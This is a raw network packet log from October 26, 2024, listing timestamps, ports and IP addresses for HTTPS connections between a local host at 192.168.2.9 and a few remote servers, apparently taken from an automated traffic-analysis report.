Oct 26, 2024 13:46:06.374315977 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.374691010 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.374696970 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.380997896 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.381517887 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.381540060 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.382014990 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.382020950 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.504736900 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.504798889 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.504929066 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.504942894 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.504998922 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.506479025 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.506479025 CEST	49796	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.506506920 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.506520987 CEST	443	49796	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.509689093 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.509728909 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.509799957 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.510010004 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.510026932 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.510224104 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.510612011 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.510621071 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.511073112 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.511076927 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.548715115 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.548778057 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.548918962 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.548975945 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.549550056 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.549568892 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.549578905 CEST	49797	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.549583912 CEST	443	49797	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.552248955 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.552298069 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.552380085 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.552546978 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.552558899 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.644079924 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.644241095 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.644386053 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.646711111 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.646711111 CEST	49798	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.646743059 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.646759987 CEST	443	49798	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.650840044 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.650876045 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.650991917 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.651123047 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.651134968 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.956850052 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.968859911 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.968884945 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.969379902 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.969386101 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.969461918 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.969810009 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.969897032 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:06.970207930 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:06.970240116 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.098273993 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.098342896 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.098484993 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.103110075 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.103197098 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.103291988 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.119935989 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.119955063 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.119967937 CEST	49799	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.119972944 CEST	443	49799	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.121722937 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.121788025 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.121824026 CEST	49800	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.121840954 CEST	443	49800	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.207467079 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.207526922 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.207586050 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.220926046 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.220946074 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.260745049 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.264286995 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.264328003 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.264396906 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.313395023 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.339076996 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.339106083 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.339665890 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.339673996 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.340490103 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.340517998 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.363255978 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.363296986 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.363739967 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.363754034 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.408257008 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.423800945 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.423825026 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.424475908 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.424482107 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.469016075 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.469108105 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.469170094 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.493371964 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.493555069 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.493616104 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.500052929 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.500052929 CEST	49801	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.500075102 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.500085115 CEST	443	49801	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.513694048 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.513731003 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.513746977 CEST	49802	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.513753891 CEST	443	49802	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.553050041 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.553139925 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.553224087 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.813277960 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.813335896 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.813350916 CEST	49803	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.813361883 CEST	443	49803	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.831697941 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.831762075 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.831878901 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.833709955 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.833765030 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.833818913 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.834161997 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.834178925 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.834660053 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.834671974 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.835342884 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.835365057 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:07.835473061 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.835566044 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:07.835586071 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.024151087 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:08.024235010 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:08.024327040 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:08.025471926 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:08.025505066 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:08.143750906 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.144512892 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.144543886 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.144845009 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.144853115 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.149404049 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.149779081 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.149813890 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.150250912 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.150259018 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.274307966 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.274462938 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.274540901 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.274838924 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.274890900 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.274921894 CEST	49805	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.274940014 CEST	443	49805	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.277939081 CEST	49810	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.277991056 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.278239012 CEST	49810	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.278388977 CEST	49810	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.278404951 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.278415918 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.278624058 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.278677940 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.278755903 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.278775930 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.278786898 CEST	49804	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.278793097 CEST	443	49804	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.280692101 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.280774117 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.281011105 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.281097889 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.281121016 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.731762886 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.732542992 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.732558012 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.733017921 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.733025074 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.740892887 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.741266012 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.741280079 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.741698027 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.741703033 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.746320963 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.746661901 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.746686935 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.747096062 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.747102022 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.860404968 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.860574007 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.860733032 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.860968113 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.860968113 CEST	49808	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.860992908 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.860999107 CEST	443	49808	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.865669012 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.865761995 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.866014957 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.866142035 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.866163969 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.878566980 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.878631115 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.878741026 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.878761053 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.878794909 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.878853083 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.878892899 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.878892899 CEST	49807	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.878920078 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.878942966 CEST	443	49807	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.879236937 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.879488945 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.879551888 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.879698038 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.879718065 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.879728079 CEST	49806	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.879734039 CEST	443	49806	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.882589102 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.882616043 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.882744074 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.882896900 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.882911921 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.884013891 CEST	49814	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.884057045 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:08.884274006 CEST	49814	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.884429932 CEST	49814	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:08.884444952 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.013612032 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.016875982 CEST	49810	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.016894102 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.018237114 CEST	49810	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.018244982 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.033843994 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.034368992 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.034415960 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.035048008 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.035063028 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.085760117 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.085982084 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.087567091 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.087579012 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.087827921 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.144886971 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.145064116 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.145217896 CEST	49810	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.149487019 CEST	49810	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.149502993 CEST	443	49810	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.157391071 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.161982059 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.162017107 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.162142038 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.162317038 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.162329912 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.165283918 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.165353060 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.165400982 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.165412903 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.165457010 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.165673018 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.165713072 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.165730000 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.165751934 CEST	49811	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.165759087 CEST	443	49811	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.171730042 CEST	49816	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.171763897 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.171818018 CEST	49816	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.172039032 CEST	49816	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.172050953 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.203336954 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516182899 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516210079 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516217947 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516246080 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516259909 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516267061 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516279936 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.516304970 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.516323090 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.516323090 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.516354084 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.517119884 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.517224073 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.517241955 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.528158903 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.528198004 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.528227091 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.528357983 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.528418064 CEST	443	49809	4.245.163.56	192.168.2.9
Oct 26, 2024 13:46:09.528490067 CEST	49809	443	192.168.2.9	4.245.163.56
Oct 26, 2024 13:46:09.605864048 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.613213062 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.613280058 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.613683939 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.613704920 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.638509989 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:09.638585091 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:09.638660908 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:09.651485920 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.652046919 CEST	49814	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.652061939 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.652596951 CEST	49814	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.652601004 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.655224085 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.655644894 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.655685902 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.656075001 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.656080008 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.744208097 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.744283915 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.744337082 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.774677992 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.774677992 CEST	49812	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.774719000 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.774738073 CEST	443	49812	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.785269022 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.785454988 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.785634041 CEST	49814	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.787965059 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.788114071 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.788326979 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.803790092 CEST	49817	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.803844929 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.803937912 CEST	49817	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.804157972 CEST	49814	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.804183960 CEST	443	49814	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.805727005 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.805748940 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.805762053 CEST	49813	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.805768967 CEST	443	49813	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.820683002 CEST	49817	443	192.168.2.9	13.107.246.42
